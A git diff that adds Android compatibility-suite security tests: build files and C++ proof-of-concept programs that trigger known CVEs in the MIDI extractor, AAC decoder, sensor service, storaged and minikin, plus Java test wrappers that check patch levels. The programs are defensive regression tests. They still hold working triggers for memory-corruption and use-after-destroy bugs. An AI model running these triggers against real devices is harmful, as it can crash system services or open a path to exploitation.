new file mode 100644
index 0000000..5a32f57
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0385",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libmedia/include/android",
+        "frameworks/av/media/libmedia/include",
+        "frameworks/av/media/libstagefright/foundation/include",
+        "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+        "frameworks/av/media/libstagefright/include",
+        "frameworks/av/media/libstagefright/include/media/stagefright",
+    ],
+    shared_libs: [
+        "libutils",
+        "libmediandk",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+  int mFdData;
+  int mFdInfo;
+  XMFDataSource(int fdData, int fdInfo) {
+    mFdData = fdData;
+    mFdInfo = fdInfo;
+  }
+
+  ~XMFDataSource() = default;
+
+  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+                         size_t size) {
+    uint32_t infoOffset, infoSize;
+    read(mFdInfo, &infoSize, sizeof(int32_t));
+    read(mFdInfo, &infoOffset, sizeof(int32_t));
+    lseek(mFdData, infoOffset, SEEK_SET);
+    read(mFdData, data, infoSize);
+    return size;
+  }
+
+  virtual status_t getSize(off64_t *size) {
+    *size = 0x10000;
+    return 0;
+  }
+  virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+  if (fdData >= 0) {
+    ::close(fdData);
+  }
+  if (fdInfo >= 0) {
+    ::close(fdInfo);
+  }
+  if (libHandle) {
+    dlclose(libHandle);
+  }
+}
+
+int main(int argc, char **argv) {
+  if (argc < 3) {
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_ALL;
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      return EXIT_FAILURE;
+    }
+  }
+
+  GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  int fdData = open(argv[1], O_RDONLY);
+  if (fdData < 0) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+  int fdInfo = open(argv[2], O_RDONLY);
+  if (fdInfo < 0) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+  if (!dataSource) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+
+  float confidence = 0.0f;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  }
+
+  close_resources(fdData, fdInfo, libHandle);
+  enable_selective_overload = ENABLE_NONE;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
new file mode 100644
index 0000000..066b530
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0451",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "external/aac/libSYS/include",
+        "external/aac/libAACdec/include",
+        "external/aac/libSBRdec/include",
+        "external/aac/libFDK/include",
+        "external/aac/libAACdec/src",
+        "external/aac/libArithCoding/include",
+        "external/aac/libMpegTPDec/include",
+        "external/aac/libPCMutils/include",
+        "external/aac/libDRCdec/include",
+        "external/aac/libSBRdec/src",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
new file mode 100644
index 0000000..9080236
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0451/poc.cpp
@@ -0,0 +1,130 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fstream>
+#include <iostream>
+#include <limits>
+#include "../includes/common.h"
+#include "aacdecoder.h"
+#include "aacdecoder_lib.h"
+#include "sbr_ram.h"
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+bool kIsVulnerable = false;
+
+class Codec {
+   public:
+    Codec() = default;
+    ~Codec() { deInitDecoder(); }
+    bool initDecoder();
+    void decodeFrames(UCHAR *data, UINT size);
+    void deInitDecoder();
+    int validateQmfDomainBounds();
+
+   private:
+    HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+    AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+};
+
+bool Codec::initDecoder() {
+    mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADIF, kNumberOfLayers);
+    if (!mAacDecoderHandle) {
+        return false;
+    }
+    return true;
+}
+
+void Codec::deInitDecoder() {
+    aacDecoder_Close(mAacDecoderHandle);
+    mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+    while (size > 0) {
+        UINT inputSize = size;
+        UINT valid = size;
+        mErrorCode = aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+        if (mErrorCode != AAC_DEC_OK) {
+            ++data;
+            --size;
+        } else {
+            INT_PCM outputBuf[2048 * kMaxChannelCount];
+            aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, 2048 * kMaxChannelCount, 0);
+            if (valid >= inputSize) {
+                return;
+            }
+            UINT offset = inputSize - valid;
+            data += offset;
+            size = valid;
+        }
+    }
+}
+
+int Codec::validateQmfDomainBounds() {
+    // Check OOB for qmfDomain
+    void *qmfDomainBound = &(mAacDecoderHandle->qmfModeCurr);
+
+    HANDLE_SBRDECODER hSbrDecoder = mAacDecoderHandle->hSbrDecoder;
+    // Referring sbrDecoder_AssignQmfChannels2SbrChannels()
+    {
+        void *qmfDomainInChPtr = nullptr;
+        void *qmfDomainOutChPtr = nullptr;
+        int channel = 0;
+        int element = 0;
+        int absChOffset = 0;
+        for (element = 0; element < hSbrDecoder->numSbrElements; ++element) {
+            if (hSbrDecoder->pSbrElement[element] != NULL) {
+                for (channel = 0; channel < hSbrDecoder->pSbrElement[element]->nChannels;
+                     ++channel) {
+                    qmfDomainInChPtr = &hSbrDecoder->pQmfDomain->QmfDomainIn[absChOffset + channel];
+                    qmfDomainOutChPtr =
+                        &hSbrDecoder->pQmfDomain->QmfDomainOut[absChOffset + channel];
+                    if (qmfDomainBound <= qmfDomainInChPtr || qmfDomainBound <= qmfDomainOutChPtr) {
+                        kIsVulnerable = true;
+                    }
+                }
+                absChOffset += hSbrDecoder->pSbrElement[element]->nChannels;
+            }
+        }
+    }
+    return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
+
+int main(int argc, char *argv[]) {
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+
+    std::ifstream file;
+    file.open(argv[1], std::ios::in | std::ios::binary);
+    if (!file.is_open()) {
+        return EXIT_FAILURE;
+    }
+    file.ignore(std::numeric_limits<std::streamsize>::max());
+    std::streamsize length = file.gcount();
+    file.clear();
+    file.seekg(0, std::ios_base::beg);
+    UCHAR *data = new UCHAR[length];
+    file.read(reinterpret_cast<char *>(data), length);
+    file.close();
+
+    Codec codec = Codec();
+    if (codec.initDecoder()) {
+        codec.decodeFrames(data, length);
+    }
+    return codec.validateQmfDomainBounds();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
new file mode 100644
index 0000000..b79224c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2021-0313",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "frameworks/minikin/libs/",
+    ],
+    shared_libs: [
+        "libminikin",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
new file mode 100644
index 0000000..16b4242
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0313/poc.cpp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "minikin/LayoutUtils.h"
+
+using namespace minikin;
+
+int main() {
+    // This PoC reuses the testcase provided in the GTest "BidiCtrl"
+    // of LayoutSplitterTest.cpp
+    const uint16_t testCase[] = {0x2066, 0x2069, 0x202A, 0x202E, 0x200E, 0x200F};
+    size_t offset = 0;
+    size_t len = sizeof(testCase) / sizeof(uint16_t);
+    return (getNextWordBreakForCache(U16StringPiece(testCase, len), offset) == len)
+               ? EXIT_VULNERABLE
+               : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
new file mode 100644
index 0000000..2b63d91
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2021-0318",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp"],
+    shared_libs: [
+       "libsensor",
+       "libsensorservice",
+       "libbinder",
+       "libutils",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wextra",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp
new file mode 100644
index 0000000..cd67392
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0318/poc.cpp
@@ -0,0 +1,122 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using namespace android;
+
+void poc(int handle) {
+    status_t err;
+    sp<IServiceManager> sm = defaultServiceManager();
+    String16 name(String16("sensorservice"));
+    sp<IBinder> service = sm->getService(name);
+
+    if (service) {
+        Parcel data, reply;
+        data.writeInterfaceToken(service->getInterfaceDescriptor());
+        data.writeString8(String8("com.android.systemui.doze.DozeScreenBrightness"));
+        data.writeInt32(0 /*mode*/);
+        data.writeString16(String16("com.android.systemui"));
+        err = service->transact(2 /*CREATE_SENSOR_EVENT_CONNECTION*/, data, &reply, 0);
+        printf("CREATE_SENSOR_EVENT_CONNECTION err %08x \n", err);
+
+        sp<IBinder> binder = reply.readStrongBinder();
+
+        if (binder) {
+            {
+                Parcel data, reply;
+                data.writeInterfaceToken(binder->getInterfaceDescriptor());
+                data.writeInt32(handle); // handle
+                data.writeInt32(1);      // enabled
+                data.writeInt64(0);      // samplingPeriodNs
+                data.writeInt64(989680); // maxBatchReportLatencyNs
+                data.writeInt32(0);      // reservedFlags
+                err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
+                printf("ENABLE_DISABLE transact err %08x \n", err);
+            }
+
+            sleep(1);
+
+            {
+                Parcel data, reply;
+                String16 name = binder->getInterfaceDescriptor();
+                data.writeInterfaceToken(name);
+                err = binder->transact(6 /*DESTROY*/, data, &reply, 0);
+                printf("DESTROY transact err %08x \n", err);
+            }
+
+            {
+                Parcel data, reply;
+                data.writeInterfaceToken(binder->getInterfaceDescriptor());
+                data.writeInt32(handle); // handle
+                data.writeInt32(1);      // enabled
+                data.writeInt64(0);      // samplingPeriodNs
+                data.writeInt64(989680); // maxBatchReportLatencyNs
+                data.writeInt32(0);      // reservedFlags
+                err = binder->transact(2 /*ENABLE_DISABLE*/, data, &reply, 0);
+                if (reply.readInt32() == OK) {
+                    // Success in enabling a sensor after destroy leads to
+                    // security vulnerability.
+                    exit(EXIT_VULNERABLE);
+                }
+                printf("ENABLE_DISABLE transact err %08x\n", err);
+            }
+        } else {
+            printf("binder is null!\n");
+            sleep(3);
+        }
+    }
+}
+
+void get_sensor_list() {
+    sp<IServiceManager> sm = defaultServiceManager();
+    String16 name(String16("sensorservice"));
+    sp<IBinder> service = sm->getService(name);
+    if (service) {
+        Parcel data, reply;
+        data.writeInterfaceToken(String16("android.gui.SensorServer"));
+        data.writeString16(String16("opPackageName"));
+        service->transact(1 /*GET_SENSOR_LIST*/, data, &reply);
+
+        Sensor s;
+        Vector<Sensor> v;
+        uint32_t n = reply.readUint32();
+        v.setCapacity(n);
+        while (n > 0) {
+            n--;
+            reply.read(s);
+            v.add(s);
+            String8 nm = s.getName();
+            std::string nstr = nm.string();
+            String8 vd = s.getVendor();
+            std::string vstr = vd.string();
+            int32_t handle = s.getHandle();
+            printf("%s : %s, handle %d\n", nstr.c_str(), vstr.c_str(), handle);
+            poc(handle);
+        }
+    }
+}
+
+int main(int /* argc */, char** /* argv */) {
+    get_sensor_list();
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
new file mode 100644
index 0000000..30915d5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2021-0330",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
new file mode 100644
index 0000000..4d7254f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <pthread.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+static int userId = 0;
+constexpr int kMaxThreads = 2;
+constexpr int kMaxUsers = 1024 * 1024;
+constexpr int kSleepDuration = 5;
+
+
+static void *trigger_onUserStarted(void *p __attribute__((unused))) {
+    sp<IServiceManager> sm = defaultServiceManager();
+    sp<IBinder> service = sm->checkService(String16("storaged"));
+
+    if (not service) {
+        return nullptr;
+    }
+
+    while (userId < kMaxUsers) {
+        Parcel data, reply;
+        data.writeInterfaceToken(service->getInterfaceDescriptor());
+        data.writeInt32(++userId);
+        service->transact(1, data, &reply, 0);
+    }
+
+    return nullptr;
+}
+
+int main() {
+    pthread_t threads[kMaxThreads];
+
+    for (int t = 0; t < kMaxThreads; ++t) {
+        pthread_create(&threads[t], nullptr, trigger_onUserStarted, nullptr);
+    }
+    for (int t = 0; t < kMaxThreads; ++t) {
+        pthread_join(threads[t], nullptr);
+    }
+
+    time_t currentTime = start_timer();
+    while (timer_active(currentTime)) {
+        sp<IServiceManager> sm = defaultServiceManager();
+        sp<IBinder> service = sm->checkService(String16("storaged"));
+        if (service) {
+            break;
+        }
+        sleep(kSleepDuration);
+    }
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
new file mode 100644
index 0000000..4dd4b39
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0684 extends SecurityTestCase {
+
+    /**
+     * b/35421151
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2017-07")
+    @Test
+    public void testPocCVE_2017_0684() throws Exception {
+        pocPusher.only32();
+        String errPattern[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0684", null, getDevice(),
+        errPattern);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
new file mode 100644
index 0000000..5a17589
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0726 extends SecurityTestCase {
+
+    /**
+     * b/36389123
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2017-08")
+    @Test
+    public void testPocCVE_2017_0726() throws Exception {
+        pocPusher.only64();
+        String inputFiles[] = {"cve_2017_0726.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0726",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
new file mode 100644
index 0000000..f92c876
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2011 extends SecurityTestCase {
+
+    /**
+     * b/120084106
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-03")
+    @Test
+    public void testPocCVE_2019_2011() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2011", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
new file mode 100644
index 0000000..db98e28
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2135 extends SecurityTestCase {
+
+    /**
+     * b/125900276
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2135() throws Exception {
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE_2019_2135", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
new file mode 100644
index 0000000..e4b41cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2136 extends SecurityTestCase {
+
+    /**
+     * b/132650049
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2136() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2136", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java
new file mode 100644
